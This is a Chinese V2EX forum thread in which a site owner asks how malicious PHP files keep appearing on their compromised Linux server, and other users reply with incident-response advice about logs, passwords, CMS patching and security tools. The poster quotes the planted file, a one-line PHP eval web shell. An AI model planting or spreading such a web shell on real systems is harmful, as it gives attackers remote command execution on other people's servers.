服务器大神来支招,网站被挂马!

2017-06-29 18:11:50 +08:00
 ningcool

网站隔几天就会在 web 的一些目录下生成垃圾.php 的脚本文件。比如最近的一个 php 文件:

< php ? php @ eval ( $_POST [ 'cmd ']) ; ? >

只有这么一句话的恶意脚本。

我的服务器在阿里云,也买了安骑士杀毒,但是只能检测到恶意脚本,并隔离,但具体这些脚本怎么生成的无法得知,因为隔离了,几天后又有新的垃圾脚本生成。也就是我的 linux 系统里是不是有后门,怎么揪出来? 还请各位服务器大神给点建议,指点迷津。

12755 次点击
所在节点    Linux
104 条回复
anyclue
2017-06-30 15:28:35 +08:00
@jarlyyn #78 有道理

@surfire91 #79 槽点?说这些有屁用,光会冷嘲热讽的一帮人
Damaidaner
2017-06-30 15:32:22 +08:00
还好用的是 wordpress
surfire91
2017-06-30 15:41:30 +08:00
@anyclue 确实是冷嘲热讽
问题是楼主也不多给点信息想帮都帮不了啊
jarlyyn
2017-06-30 15:42:50 +08:00
@anyclue

这和冷嘲热讽有什么关系?

大部分人一开都告诉他最有可能是网站的问题。

结果楼主却所这个 cms 很安全,不会是 cms 的问题啊
henices
2017-06-30 16:02:43 +08:00
注意查看 日志文件

last
/var/log/*
Dzer0
2017-06-30 16:59:19 +08:00
1、数据库更改账户密码
2、系统更改账户密码
3、尽量更改下远程登陆账户密码 linux 启动证书登陆
4、针对程序进行漏洞修复。
如果不知道怎么修复
1、查看程序是什么写的,然后更新成最新版
2、启用网站访问日志、观察是从哪里上传上来的

服务器安全性配置

参考 26 楼的 url
birds7
2017-06-30 17:24:38 +08:00
看日志,先确定这个人怎么进来的,然后在考虑怎么修复!
ningcool
2017-06-30 17:28:51 +08:00
@yw9381 谢谢你详细的回复,日志我查了,可疑地是最近几天居然没有日志,其他日期都有。。。
zqjilove
2017-06-30 17:31:39 +08:00
@ningcool 估计日志都删除了,防止你查到被黑的原因。
SelFree
2017-06-30 18:00:27 +08:00
@zqjilove 如果有权限删日志,说明已经提权,已经不需要依赖网马了吧。
hack
2017-06-30 18:22:03 +08:00
帝国 cms 0day 漫天飞
xencdn
2017-06-30 18:56:56 +08:00
php.ini 中禁用 exec 等指令即可

但是这个治标不治本

关键要找出注入点
winglight2016
2017-06-30 22:23:35 +08:00
@husky 被日穿了啊——看到这里一种老家的家乡话气息扑面而来,应该也是北方的吧
nVic
2017-06-30 23:02:20 +08:00
@ningcool 不存在的,linux 在大多数情况下都只能跟上 iis 性能,安全性上更是远远比不上。
eoo
2017-06-30 23:13:13 +08:00
@nVic Linux vs IIS 性能 ? 不要骗我没读过书
qfdk
2017-07-01 00:57:36 +08:00
l   z 把站发上来吧 说不定有小伙伴可以帮你重现
Admstor
2017-07-01 01:54:08 +08:00
运维人员来给你几个建议
国内 CMS 基本上都是漏洞百出,为啥呢,因为都是各种中小站用的多,还有各种小软件商,揽了活就用现成的改改去掉 copyright 就糊弄了
那自然研究攻击的人也多.
加上水平确实比较低,所谓的维护绝对不会有架构上的变动,都是一层盖一层的打补丁,在我看来是挺"丑"和粗糙的
作为 IDC 运维我其实很不喜欢这样的客户,非常加重我们运维负担
国内的 IDC 商的主机,也是常年不更新,大部分还是 PHP 5.4/5.5,甚至一些还是 5.2
也倒是"相辅相成"
所以这一块市场其实很大,v2 的大佬一向轮子都要自己造,肯定看不上"草根"这些了

下面具体分析
首先生成 php 脚本,的确不太可能是从系统入手的攻击,因为拿到你的肉鸡,对于大部分攻击者来说,主要用途就是 2 个,第一个变成他可以控制的代理,作为跳板来去控制更多,以及直接利用你的发动 DDOS,大部分都是批量攻击,手法也粗糙,随便系统日志看看,或者你的 IDC 商也会警告你的网络流量异常,你没提到这个,说明至少暂时没有用.
那么第二个用途就是把你的网站插入各种推广,小尾巴之类,这样你花掉推广的钱和力气,他都可以渔翁得利
我猜你一开始也是发现自己页面变了,被插入各种垃圾广告,甚至网站都被百度 360 腾讯列为不安全网站才发现异常了
这基本就是证明了从你网站入手的,同样的都是批量扫描入侵

安骑士的介绍稍微看了下,感觉还是侧重于服务器防入侵类,并且也仅仅是提示你打补丁,以及事后日志分析,这 2 点说实在的,都是运维工程师基本水平

一般我是推荐客户,尤其是 windows 客户使用安全狗,服务器安全狗+网站安全狗
虽然也手法也挺粗糙,不过基本上常见的一些漏洞不太需要操心,大不了每天扫一遍也可以把生成的垃圾清除掉
网站安全狗是作为 IIS 的插件生效,可以直接进行拦截一些危险操作,基本的核心思想是危险的参数禁掉,不需要写的目录禁掉,常见的注入禁掉,总的来说我觉得,在无法修改源代码的情况下,差不多也就只能这么做了
linux 下的安全钩我没用过,毕竟 linux 服务器基本都是自己维护了,不太需要这些

楼上一些朋友推荐了你改用 windows 服务器我也比较赞同的
默认配置下,你不要乱看所谓的优化文章,其实 win 的安全性并不算差,至少我没有发现和 linux 有天地之差
但是会有更多入门安全软件支撑,更容易操作的界面,至少更新系统你会比较熟悉,出了问题也容易搜索到中文信息

不过总的来说...还是尽量提高自己的姿势水平
Admstor
2017-07-01 02:03:43 +08:00
另外说 WP 性能不好...其实倒也没说错
最近我也没怎么碰 WP
所以说的可能有点落后

WP 原生是没有所谓生成静态页面的
而国内 CMS 这点基本标配,基本上后台都有一个所谓生成页面之类的选项,生成完了就是一大堆 html,纯浏览当然超快的
但是一遇到交互的很可能就傻逼了
另外就是一大堆 js 是用的国外源,需要自己改回国内的,国内都喜欢 include 自己本地,当然也快啦
另外就是自由度,国内 CMS 你改来改去都会发现,不一样的包装还是一样的味道...
自由度其实很低的...框架基本都是死的...代码也是各种粗暴实现...

其实 WP 好好优化一下,速度并不慢(不过还是相对于其他的慢一些,但绝对是可以接受的,如果接受不了,说明你的 PV 早就足够你请人开发了,还用什么 WP)
ihciah
2017-07-01 06:21:24 +08:00
第一次听说帝国 CMS 似乎是在 ctf 赛棍圈子里……🌝还有 dedeCMS
hjlmjx
2017-07-01 09:05:30 +08:00
楼主这心态,有漏洞不管帝国的事情。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/371985

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX